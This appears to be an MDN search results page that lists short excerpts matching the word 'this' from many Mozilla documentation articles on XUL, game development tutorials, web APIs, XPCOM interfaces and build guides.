this tutorial is a guide to learning xul (xml user interface language) which is a cross-platform language for describing applications' user interfaces.
...
this tutorial will demonstrate creating a simple find file user interface, much like that provided by the macintosh's sherlock or the find file dialog in windows.
...the contents of menus, trees and other elements can be populated with
this data, or with your own data supplied in an rdf file.
...And 6 more matches
Modifying the Default Skin - Archive of obsolete content
this documentation has not been fully updated for firefox quantum.
...
this section describes how to modify the skin of a window.
...the global directory within
this archive contains the main style definitions for how to display the various xul elements.
...And 6 more matches
More Tree Features - Archive of obsolete content
this can sometimes be quite tricky, but fortunately, the built-in content tree view does all of the hard work for us.
...don't put the inner treechildren element inside the treerow as
this won't work.
... you can repeat
this process to create deeply nested trees.
...And 6 more matches
More Wizards - Archive of obsolete content
« previousnext »
this section describes some additional features of wizards.
...in
this case, place a pageid attribute on each of the pages.
...
this should be set to an identifier for each page.
...And 6 more matches
RDF Datasources - Archive of obsolete content
this property is only available on platforms that use file extensions.
...
this has the effect of reading the data from all the datasources mentioned.
... <tree datasources="rdf:bookmarks rdf:history animals.rdf" ref="nc:bookmarksroot">
this example reads the resources from the bookmarks, history and the animals.rdf file.
...And 6 more matches
Tabboxes - Archive of obsolete content
in other words,
this is the row of tabs.
...you would place the content for a page within
this element.
...that means that if there are ten textboxes on one tab page and only one on another, the tab page will be sized to fit the one with the ten on it as
this takes up more room.
...And 6 more matches
The Box Model - Archive of obsolete content
« previousnext » in
this section, we'll look at how xul handles layout.
...
this model allows you to divide a window into a series of boxes.
...you can set
this attribute to the value horizontal to create a horizontal box and vertical to create a vertical box.
...And 6 more matches
image - Archive of obsolete content
attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: script code
this event is sent to an image element when an error occurs loading the image.
... image.onload type: script code
this event handler will be called on the image element when the image has finished loading.
...
this applies whether the image is applied via the src attribute or the list-style-image style property.
...And 6 more matches
notificationbox - Archive of obsolete content
this element is used, for example, to implement the yellow information bar in various firefox windows.
...
this property is read-only.
...
this property is read-only.
...And 6 more matches
<statusbarpanel> - Archive of obsolete content
this is a special type of button which is drawn differently.
...
this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...And 6 more matches
Syndicating content with RSS - Archive of obsolete content
this article provides a simple guide to using rss to syndicate web content.
...when
this is the case, the html web page can let people and machines know about the feed by using the <link> element, like
this: <link rel="alternate" type="application/rss+xml" href="http://example.com/feed" /> adding the <a> while use of the html <link> element is powerful, it is mostly hidden.
...
this mimics the <link> element discussed above.
...And 6 more matches
Fixing Table Inheritance in Quirks Mode - Archive of obsolete content
find out why
this happens and how to fix it in documents that have to remain in quirks mode.
...
this led to a number of workarounds which were designed to cater to these bugs, and also to gecko-based browsers emulating the behavior in some cases.
...
this represented a violation of css inheritance rules, and led many authors to create workarounds such as: <style type="text/css"> body, table, td {font-size: 11px;} </style> recreating legacy behavior to avoid "breaking" older pages that were authored with old-browser behaviors in mind, mozilla and related browsers will mimic old browsers when in "quirks" mode.
...And 6 more matches
Game distribution - Game development
this article covers all you need to know about the ways in which you can distribute your newly created game into the wild.
...
this includes hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store.
...
this can range from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser.
...And 6 more matches
Building up a basic demo with the PlayCanvas engine - Game development
before reading on, copy
this code to a new text file and save it in your working directory as index.html.
...
this allows us to make some space to visualize the objects that we will create later on.
...the first type is a directional light placed somewhere on the scene while the scond one reflects the light from the first type, so it looks more natural;
this can be set globally.
...And 6 more matches
Desktop gamepad controls - Game development
ctx.drawimage(img, playerx, playery); requestanimationframe(draw); } in
this case, we are checking the four d-pad buttons (0-3) and the a button (11).
...
this is pure javascript code however too, so can be used in any other project no matter what framework was used.
... implementation we now know what the gamepadapi object looks like and what variables and functions it contain, so let's learn how all
this is actually used in the game.
...And 6 more matches
Bounce off the walls - Game development
« previousnext »
this is the 3rd step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson3.html.
...add
this to your code, somewhere below the existing variable declarations: var ballradius = 10; now update the line that draws the ball inside the drawball() function to
this: ctx.arc(x, y, ballradius, 0, math.pi*2); bouncing off the top and bottom there are four walls to bounce the ball off — let's focus on the top one first.
...And 6 more matches
Build the brick field - Game development
« previousnext »
this is the 6th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it would look after completing
this lesson at gamedev-canvas-workshop/lesson6.html.
... after modifying the gameplay mechanics, we are now able to lose —
this is great as it means the game is finally feeling more like a game.
...And 6 more matches
Create the Canvas and draw on it - Game development
« previousnext »
this is the 1st step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson1.html.
...
this can be done using html and the <canvas> element.
...And 6 more matches
Mobile accessibility - Learn web development
this article looks at mobile-specific accessibility considerations.
...press the voiceover slider to enable it (you'll also see a number of other options related to voiceover on
this page).
...
this occurs because we are using code such as the following: div.onmousedown = function() { initialboxx = div.offsetleft; initialboxy = div.offsettop; movepanel(); } document.onmouseup = stopmove; to enable other forms of control, you need to use different, yet equivalent events — for example, touch events work on touchscreen devices: div.ontouchstart = function(e) { initialboxx = div.of...
...And 6 more matches
Structuring a page of content - Learn web development
previous overview: introduction to html structuring a page of content ready for laying it out using css is a very important skill to master, so in
this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.
... prerequisites: before attempting
this assessment you should have already worked through the rest of the course, with a particular emphasis on document and website structure.
... starting point to get
this assessment started, you should go and grab the zip file containing all the starting assets.
...And 6 more matches
Test your skills: HTML text basics - Learn web development
this aim of
this skill test is to assess whether you've understood our html text fundamentals article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... html text basics 1 in
this task we want you to mark up the provided html using semantic heading and paragraph elements.
...And 6 more matches
Test your skills: HTML images - Learn web development
this aim of
this skill test is to assess whether you've understood our images in html article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... html images 1 in
this task we want you to embed a simple image of some blueberries into the page.
...And 6 more matches
Test your skills: Multimedia and embedding - Learn web development
this aim of
this skill test is to assess whether you've understood our video and audio content and from object to iframe — other embedding technologies articles.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... multimedia and embedding 1 in
this task we want you to embed a simple audio file onto the page.
...And 6 more matches
Asynchronous JavaScript - Learn web development
in
this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server.
... get started prerequisites asynchronous javascript is a fairly advanced topic, and you are advised to work through javascript first steps and javascript building blocks modules before attempting
this.
... if you are not familiar with the concept of asynchronous programming, you should definitely start with the general asynchronous programming concepts article in
this module.
...And 6 more matches
Test your skills: Events - Learn web development
this aim of
this skill test is to assess whether you've understood our introduction to events article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... we haven't explicitly taught
this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions.
...And 6 more matches
Test your skills: Loops - Learn web development
this aim of
this skill test is to assess whether you've understood our looping code article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... we haven't explicitly taught
this yet in the course, but you'll have seen some examples that make use of it, and we'd like you to do some research into what dom apis you need to successfully answer the questions.
...And 6 more matches
Test your skills: Arrays - Learn web development
this aim of
this skill test is to assess whether you've understood our arrays article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...in
this task we'd like you to create an array of three items, stored inside a variable called myarray.
...And 6 more matches
Test your skills: variables - Learn web development
this aim of
this skill test is to assess whether you've understood our storing the information you need — variables article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... variables 1 in
this task we want you to: declare a variable called myname.
...And 6 more matches
Test your skills: Object basics - Learn web development
this aim of
this skill test is to assess whether you've understood our javascript object basics article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... object basics 1 in
this task you are provided with an object literal, and your tasks are to store the value of the name property inside the catname variable, using bracket notation.
...And 6 more matches
Introducing JavaScript objects - Learn web development
the object-based nature of javascript is important to understand if you want to go further with your knowledge of the language, therefore we've provided
this module to help you.
... get started prerequisites before starting
this module, you should have some familiarity with html and css.
...before attempting
this module, work through javascript first steps and javascript building blocks.
...And 6 more matches
The "why" of web performance - Learn web development
this article provides an introduction into why web performance is important to site visitors and for your business goals.
... as an example, consider the loading experience of cnn.com, which at the time of
this writing had over 400 http requests with a file size of over 22.6mb.
... imagine loading
this on a desktop computer connected to a fibre optic network.
...And 6 more matches
Learn web development
this set of articles aims to provide complete beginners to web development with all that they need to start coding websites.
... the aim of
this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of previous knowledge.
...
this topic teaches html in detail.
...And 6 more matches
What to do and what not to do in Bugzilla
this document covers the use of bugzilla privileges to triage bugs.
... getting/upgrading bugzilla privileges if you want to get bugzilla privileges (as described below), please see
this page.
...in
this case you shouldn't just mark it wfm instantly, but ask the reporter for more details first.
...And 6 more matches
Old Thunderbird build
this page covers the basic steps needed to build a thunderbird up to version 59.
...on linux,
this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist).
...
this may take a while, it's a lot of code!
...And 6 more matches
Simple Thunderbird build
this page covers the basic steps needed to build a bleeding-edge, development version of thunderbird 60 or later.
...on linux,
this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist).
...it now needs to be placed inside the mozilla source code, in a directory named comm/ (
this is inverse from thunderbird 59 and earlier): hg clone https://hg.mozilla.org/mozilla-central source/ cd source/ hg clone https://hg.mozilla.org/comm-central comm/ the source code requires 3.6gb of free space or more and additionally 5gb or more for default build.
...And 6 more matches
Listening to events on all tabs
aflags optional:
this is a value which explains the situation or the reason why the location has changed.
...
this method will be called on security transitions (eg http -> https, https -> http, foo -> https) and after document load completion.
...
this parameter may be null.
...And 6 more matches
MozBeforePaint
you can determine
this value by looking at window.mozanimationstarttime.
...
this new property indicates the time, in milliseconds since epoch, at which all animations started in the specified window during the current refresh interval should be considered to have started running.
...once you've called
this, the mozbeforepaint event will be fired one time, when it's time for animations to be updated for the window's next animation frame.
...And 6 more matches
IPDL Best Practices
this document is intended to help correct these before the formal review process is initiated.
...
this one is easy to miss, as the corresponding recv__delete__ function has a stub implementation automatically generated in the base class.
...a good example of
this problem is the amount of memory management bugs that we have had with using surfacedescriptor directly everywhere.
...And 6 more matches
Using JavaScript code modules
creating a javascript code module a very simple javascript module looks like
this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var dummy = "dummy"; notice that the module uses normal javascript to create functions, objects, constants, and any other javascript type.
...details on doing
this are in the "extending resource: urls" section below.
...
this means that a given module will be shared when imported multiple times.
...And 6 more matches
Mozilla Content Localized in Your Language
this section of the style guide is for you to author.
...you are free to add, edit, remove, and localize everything in
this section according to how the localization team for your language agrees.
... all we ask is that you name
this page according to
this example, "mozilla content in spanish (es-mx)" and add your locale code tag at the bottom.
...And 6 more matches
Localization technical reviews
this guide provides details on what a localization technical review is, what criteria are used for the technical reviews, and the process for requesting one and following its progress.
...we use
this review process to perform quality assurance (qa) testing on your l10n efforts.
...
this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product.
...And 6 more matches
Mozilla Web Developer FAQ
this document answers questions that web authors ask frequently specifically in connection with firefox and other gecko-based browsers.
... there are links to more general web authoring faqs at the end of
this document.
... the easiest way to make sure that the standards mode is activated for html, is to use
this doctype declaration: <!doctype html> the easiest way to make sure that the almost standards mode is activated for html, is to use
this doctype declaration: <!doctype html public "-//w3c//dtd html 4.01 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> the easiest way to activate the quirks mode for html is to omit the doctype declaration.
...And 6 more matches
Mozilla Development Strategies
this article offers some strategies and suggestions to help developers stay productive.
... warning: the content of
this article may be out of date.
...
this puts the bug on the radar of our documentation team to ensure that once the bug is resolved, the documentation will be updated appropriately.
...And 6 more matches
Building NSS
introduction
this page has detailed information on how to build nss.
...
this is recommended, as the build is faster and more reliable.
... build build nss using our build script: nss/build.sh
this builds both nspr and nss.
...And 6 more matches
NSS 3.24 release notes
this mode is triggered by setting the database password to the empty string.
...use
this new function in place of ssl_configsecureserver, ssl_configsecureserverwithcertchain, ssl_setstapledocspresponses, and ssl_setsignedcerttimestamps.
...although these certificates can be configured, they will not be used by nss in
this version.
...And 6 more matches
nss tech note3
bolyard
this week at least 5 different people came to me with variants of the same question: what certificate extensions do i have to put into my cert for nss to allow it to be used for purpose <x>??
...
this message attempts to answer that question, and to document nss's approach to validating certificates for certain purposes.
... the oid for
this extension is { 2 5 29 19 }, encoded in hex as 0x55, 0x1d, 0x13.
...And 6 more matches
Necko walkthrough
this is where it hits necko code.
... receive response get a callback to each of these: nsistreamlistener::onstartrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data from http)
this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread.
... creates new nshttptransaction, and inits it with mrequesthead (the request headers) and muploadstream (which was created from the request data in channel setup) gets an nsiasyncinputstream (for the response; corresponds to the nspipeinputstream for the response stream pipe) passes it to nsinputstreampump nshttpchannel::ghttphandler->initiatetransaction (called from connect)
this is the global nshttphandler object, which adds the transaction to the nshttpconnectionmgr (one of these per nshttphandler).
...And 6 more matches
Rhino scopes and contexts
a top-level scope is created by calling context.initstandardobjects to create all the standard objects: scriptableobject scope = cx.initstandardobjects(); the easiest way to embed rhino is just to create a new scope
this way whenever you need one.
...we'll see below that there are ways to share a scope created
this way among multiple scopes and threads.
...
this is a large topic in itself, but for our purposes it gives us an easy way to share a set of read-only variables across multiple scopes.
...And 6 more matches
Rebranding SpiderMonkey (1.8.5)
after installing the build pre-requisites and downloading the spidermonkey source tarball issue the following commands at the terminal: cd js/src autoconf-2.13 for the remainder of
this document wherever you see the text $brand you will substitute that text with the name of your brand.
...mkdir build-$brand-release cd build-$brand-release configure
this build of spidermonkey with the desired options.
...the only required part in
this step is the ../configure command.
...And 6 more matches
JSErrorReport
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
... to counter
this attack, html5 specifies that script errors should be sanitized ("muted") when the script is not same-origin with the global for which it is loaded.
... callers should set
this flag for cross-origin scripts, and it will be propagated appropriately to child scripts and passed back in jserrorreports.
...And 6 more matches
JS_ClearContextThread
obsolete since jsapi 8
this feature is obsolete.
...there must not be any active or suspended requests using
this context.
...
this is the last thing thread a does with the context.
...And 6 more matches
SpiderMonkey 24
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... (
this change was motivated by garbage collector improvements, which lean quite heavily on c++'s support for raii through constructors and destructors.) if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped.
... (the msstdint project includes an implementation of
this header for microsoft visual studio which demonstrates what the c99 interface looks like.) otherwise, if the compiler doesn't provide a usable <stdint.h> header, a custom implementation shipped with the spidermonkey source is used.
...And 6 more matches
Gecko Roles
« at apis support page
this page offers a list of accessible roles used in gecko.
...used by msaa only,
this is supported automatically by microsoft windows.
...assistive technologies typically respond to the role by reading the entire onscreen contents of containers advertising
this role.
...And 6 more matches
Using the Places annotation service
the annotation service does not currently enforce the annotation name format, but
this may change in the future.
...
this includes colons, spaces, most punctuation, and non-ascii characters.
..., aname, avalue, aflags, aexpiration); setitemannotationbinary(aitemid, aname, avalue, adatalen, aflags, aexpiration); from javascript there are two simple function to perform all of these operations: setpageannotation(auri, aname, avalue, aflags, aexpiration); setitemannotation(aitemid, aname, avalue, aflags, aexpiration); these annotations all take similar parameters: uri or itemid:
this is the nsiuri of the page to annotate, or for items in the places database, the id of the item.
...And 6 more matches
Aggregating the In-Memory Datasource
why would you want to do
this?
... when it won't work although
this magic is terribly convenient to use, it won't work in the case that you want to "override" some of the in-memory datasource's methods.
... in short, the only case where
this technique is useful is when you're implementing a datasource to get "read-only reflection".
...And 6 more matches
Packaging WebLock
« previousnext » in
this final part of the tutorial, we'll put all of the pieces of the web locking component - the library itself, the type library, the header file, and the user interface resources - into a package that can be installed on other systems.
... note: the emphasis of
this tutorial is on the component development itself, so
this section on packaging and installing extensions to gecko is necessarily brief.
...since mozilla and other gecko-based applications are cross-platform,
this database is abstracted above the operating system or any particular platform's registry.
...And 6 more matches
operator+=
« xpcom api reference summary
this operator+= is a shortcut for the append family of functions.
... self_type& operator+=( const self_type& astring ); parameters astring [in] a nsastring to append to
this string.
... return values
this operator returns a reference back to the object being modified to allow operator chaining.
...And 6 more matches
operator=
« xpcom api reference summary
this operator is a shortcut for the inherited nsacstring::assign family of functions.
... self_type& operator=( const self_type& astring ); parameters astring [in] a nsembedcstring to append to
this string.
... return values
this operator returns a reference back to the object being modified to allow operator chaining.
...And 6 more matches
operator=
« xpcom api reference summary
this operator is a shortcut for the inherited nsastring::assign family of functions.
... self_type& operator=( const self_type& astring ); parameters astring [in] a nsembedstring to append to
this string.
... return values
this operator returns a reference back to the object being modified to allow operator chaining.
...And 6 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable
this interface can be used from privileged javascript to load and run javascript code from the given url at runtime.
...to get
this service, use: var mozijssubscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); note: see components.utils.import for another way to import javascript code.
... if the script returns a value, it will be returned by
this method.
...And 6 more matches
mozIStorageBindingParams
storage/public/mozistoragebindingparams.idlscriptable please add a summary to
this article.
...
this will be one less than the number used in the sql (<code>?1</code> maps to <code>0</code>, and so on).
...
this will be one less than the number used in the sql (<code>?1</code> maps to <code>0</code>, and so on).
...And 6 more matches
nsIAccessibleRole
accessible/public/nsiaccessiblerole.idlscriptable
this interface defines cross platform (gecko) roles.
...assistive technologies typically respond to the role by reading the entire on screen contents of containers advertising
this role.
...
this object might look like text or a graphic, but it acts like a button.
...And 6 more matches
nsIContentPrefService
dom/interfaces/base/nsicontentprefservice.idlscriptable please add a summary to
this article.
...useful for accessing and manipulating preferences in ways that are caller-specific or for which there is not yet a generic method, although generic functionality useful to multiple callers should generally be added to
this unfrozen interface.
...by default,
this is the "hostname grouper," which groups uris by full hostname (in otherwords, by site).
...And 6 more matches
nsIFilePicker
this attribute has no effect if private browsing mode is in effect.
...on some platforms,
this is automatically appended to filenames the user enters, if required.
...
this should be set before calling open() or show().
...And 6 more matches
nsIHttpActivityObserver
netwerk/protocol/http/nsihttpactivityobserver.idlscriptable
this interface provides a way for http transport activities to be reported to observers.
...if
this is false, the observeactivity() method should not be called.
...note:
this attribute is present only for compatibility and should not be used.
...And 6 more matches
nsIMicrosummaryGenerator
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable
this interface provides access to a microsummary that has been installed in firefox.
... name autf8string an arbitrary descriptive name for
this microsummary generator.
... needspagecontent boolean whether or not
this generator needs page content to generate a microsummary.
...And 6 more matches
nsINavHistoryResultViewer
1.0 66 introduced gecko 1.9 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
... note: most methods in
this interface were renamed in gecko 1.9.2, and others have slightly different parameter lists.
...tnode olditem, in nsinavhistoryresultnode newitem, in unsigned long index); void nodeinserted(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode , in unsigned long anewindex); void sortingchanged(in unsigned short sortingmode); attributes attribute type description result nsinavhistoryresult the nsinavhistoryresult
this viewer monitors.
...And 6 more matches
nsIPluginHost
dom/plugins/base/nsipluginhost.idlscriptable please add a summary to
this article.
... nsifile createtempfiletopost( in string apostdataurl ); parameters apostdataurl return value native code only!createtmpfiletopost obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
... getplugin( in string amimetype ); parameters amimetype return value getplugincount() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void getplugincount( out unsigned long aplugincount ); parameters aplugincount native code only!getpluginfactory obsolete since gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0)
this feature is obsolete.
...And 6 more matches
nsISecurityCheckedComponent
this includes creating instances of arbitrary xpcom objects and calling methods and setting properties on them.
... for example,
this capability allows code to set the value of <input type="file"> and access an arbitrary file on disk.
... extensions can define their own capabilities and use
this interface to only allow access to code trusted with that capability.
...And 6 more matches
nsITaskbarPreviewButton
widget/public/nsitaskbarpreviewbutton.idlscriptable
this interface is used on microsoft windows to get access to a window preview's toolbar button properties.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) you can't directly instantiate
this interface.
...
this is not the same as visible, which indicates whether or not the button should be displayed at all.
...And 6 more matches
nsITaskbarTabPreview
widget/public/nsitaskbartabpreview.idlscriptable
this interface is used on microsoft windows to control tab preview specific behavior.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsitaskbarpreview last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) tab preview support is disabled by default in gecko 1.9.2 creating an nsitaskbartabpreview for a window will automatically hide that window's nsitaskbarwindowpreview;
this is done by windows and cannot be prevented.
... you can't directly instantiate
this interface; instead, call the nsiwintaskbar.createtaskbartabpreview().
...And 6 more matches
nsIThreadObserver
the implementation of
this interface must be thread safe.
... xpcom/threads/nsithreadinternal.idlscriptable please add a summary to
this article.
...
this method is only called on the target thread.
...And 6 more matches
nsITraceableChannel
netwerk/base/public/nsitraceablechannel.idlscriptable
this interface is used to allow intercepting of http traffic.
... 1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use
this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
... example
this example can be copied and pasted into a javascript interpreter and run.
...And 6 more matches
nsIURL
netwerk/base/public/nsiurl.idlscriptable
this interface provides convenience methods that further break down the path portion of nsiuri.
...if the trailing slash is omitted, then the directory is /foo/ and the file is bar (that is
this is a syntactic, not a semantic breakdown of the path).
... and hence don't rely on
this for something to be a definitely be a file.
...And 6 more matches
nsIWebBrowserChrome
void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy); attributes attribute type description chromeflags unsigned long the chrome flags for
this browser chrome.
... the implementation should reflect the value of
this attribute by hiding or showing its chrome appropriately.
...the browser chrome may be told to set the webbrowser object to a new object by setting
this attribute.
...And 6 more matches
nsIWebContentHandlerRegistrar
xpfe/appshell/public/nsiwebcontenthandlerregistrar.idlscriptable applications wishing to use web content handlers need to implement
this interface.
...
this string must also be of either the http or https schemes.
...can bypass
this by opening about:config and setting preference of gecko.handlerservice.allowregisterfromdifferenthost to true.
...And 6 more matches
Building a Thunderbird extension 3: install manifest
warning:
this content is for older versions of thunderbird.
...reator> <em:targetapplication> <description> <em:id>{3550f703-e582-4d05-9a08-453d09bdfdc6}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>5.0.*</em:maxversion> </description> </em:targetapplication> </description> </rdf> the following items (shown in bold) should be customized for your application: <em:id>myfirstext@jen.zed</em:id>:
this is the id of the extension.
...while
this value is in email address format, it is not an email address.
...And 6 more matches
Creating a Custom Column
getting started in
this example we will be developing a small extension that will be adding a column that will display the "reply-to:" field of an email (if it exists, it if often not set).
...for
this we overlay messenger.xul, by placing the following line in our chrome.manifest file: overlay chrome://messenger/content/messenger.xul chrome://replyto_col/content/replyto_col_overlay.xul now that our overlay is set up we need to connect a column to the current columns that exist.
... our replyto_col_overlay.xul should now contain something similar to
this: <?xml version="1.0"?> <overlay id="sample" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="threadtree"> <treecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colreplyto" persist="hidden ordinal width" currentview="unthreaded" flex="2" label="reply-to" tooltiptext="click to sort by the reply-to hea...
...And 6 more matches
CData
note:
this is never ctypes.void_t or an array type with an unspecified length.
...
this will throw a typeerror exception if the value can't be converted.
...
this provides a way to get a pointer to the actual data of the c value represented by the cdata object.
...And 6 more matches
Compositing and clipping - Web APIs
this is more than adequate for most situations, but it limits the order in which composite shapes are built.
... we can, however, change
this behaviour by setting the globalcompositeoperation property.
... globalcompositeoperation = type
this sets the type of compositing operation to apply when drawing new shapes, where type is a string identifying which of the twelve compositing operations to use.
...And 6 more matches
Using channel messaging - Web APIs
in
this article we'll explore the basics of using
this technology.
... note:
this feature is available in web workers.
... secondly, have a look at our multimessaging demo (run
this live), which shows a slightly more complex setup that can send multiple messages between the main page and an iframe.
...And 6 more matches
DOMMatrixReadOnly.scale() - Web APIs
if not supplied,
this defaults to the value of scalex.
... if
this value is anything other than 1, the resulting matrix will be 3d.
... if no origin is supplied,
this defaults to 0.
...And 6 more matches
DataTransfer - Web APIs
this object is available from the datatransfer property of all drag events.
...if the drag operation doesn't involve dragging files,
this property is an empty list.
... gecko properties note: all of the properties in
this section are gecko-specific.
...And 6 more matches
Detecting device orientation - Web APIs
in particular, hand-held devices such as mobile phones can use
this information to automatically rotate the display to remain upright, presenting a wide-screen view of the web content when the device is rotated so that its width is greater than its height.
...
this is useful for overcoming some of the differences in device support for device orientation.
... window.addeventlistener("deviceorientation", handleorientation, true); after registering your event listener (in
this case, a javascript function called handleorientation()), your listener function periodically gets called with updated orientation data.
...And 6 more matches
Event - Web APIs
event-handlers are usually connected (or "attached") to various html elements (such as <button>, <div>, <span>, etc.) using eventtarget.addeventlistener(), and
this generally replaces using the old html event handler attributes.
...
this is the object to which the event is currently slated to be sent.
... it's possible
this has been changed along the way through retargeting.
...And 6 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
if there are no files left, or you've already called readentries() on
this filesystemdirectoryreader, the array is empty.
... example in
this example, a drop zone is created, which responds to the drop event by scanning through the dropped files and directories, outputting a hierarchical directory listing.
...
this function takes as input a filesystementry representing an entry in the file system to be scanned and processed (the item parameter), and an element into which to insert the list of contents (the container parameter).
...And 6 more matches
FileSystemEntry - Web APIs
because
this is a non-standard api, whose specification is not currently on a standards track, it's important to keep in mind that not all browsers implement it, and those that do may implement only small portions of it.
...instead, you will receive an object based on
this interface through other apis.
...
this interface serves as a base class for the filesystemfileentry and filesystemdirectoryentry interfaces, which provide features specific to file system entries representing files and directories, respectively.
...And 6 more matches
HTMLImageElement.alt - Web APIs
this may be the case because of an error, because the user has disabled the loading of images, or because the image simply hasn't finished loading yet.
... think of it like
this: when choosing alt strings for your images, imagine what you would say when reading the page to someone over the phone without mentioning that there's an image on the page.
...
this is shown in the example below.
...And 6 more matches
HTML Drag and Drop API - Web APIs
this overview of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability summary of the interfaces.
... the basics
this section is a summary of the basic steps to add drag-and-drop functionality to an application.
...dd the target element's id to the data transfer object ev.datatransfer.setdata("text/plain", ev.target.id); } window.addeventlistener('domcontentloaded', () => { // get the element by id const element = document.getelementbyid("p1"); // add the ondragstart event listener element.addeventlistener("dragstart", dragstart_handler); }); </script> <p id="p1" draggable="true">
this element is draggable.</p> for more information, see: draggable attribute reference drag operations guide define the drag's data the application is free to include any number of data items in a drag operation.
...And 6 more matches
IDBObjectStore.deleteIndex() - Web APIs
note that
this method must be called only from a versionchange transaction mode callback.
... note that
this method synchronously modifies the idbobjectstore.indexnames property.
... note:
this feature is available in web workers.
...And 6 more matches
MediaRecorder - Web APIs
if
this attribute is false, mediarecorder will record silence for audio and black frames for video.
...
this may differ from the bit rate specified in the constructor (if it was provided).
...
this may differ from the bit rate specified in the constructor (if it was provided).
...And 6 more matches
MouseEvent.pageX - Web APIs
this includes any portion of the document not currently visible.
... being based on the edge of the document as it is,
this property takes into account any horizontal scrolling of the page.
... originally,
this property was defined as a long integer.
...And 6 more matches
MouseEvent - Web APIs
common events using
this interface include click, dblclick, mouseup, mousedown.
... properties
this interface also inherits properties of its parents, uievent and event.
... mouseevent.mozpressure read only the amount of pressure applied to a touch or tablet device when generating the event;
this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).
...And 6 more matches
Navigator - Web APIs
do not rely on
this property to return the correct value.
...do not rely on
this property to return the correct value.
...do not rely on
this property to return the correct value.
...And 6 more matches
Page Visibility API - Web APIs
e an application showing a dashboard of information doesn't want to poll the server for updates when the page isn't visible a page wants to detect when it is being prerendered so it can keep accurate count of page views a site wants to switch off sounds when a device is in standby mode (user pushes power button to turn screen off) developers have historically used imperfect proxies to detect
this.
...the page visibility api addresses
this.
...
this operates in a similar way across modern browsers, with the details being as follows: in firefox, windows in background tabs each have their own time budget in milliseconds — a max and a min value of +50 ms and -150 ms, respectively.
...And 6 more matches
Using the Permissions API - Web APIs
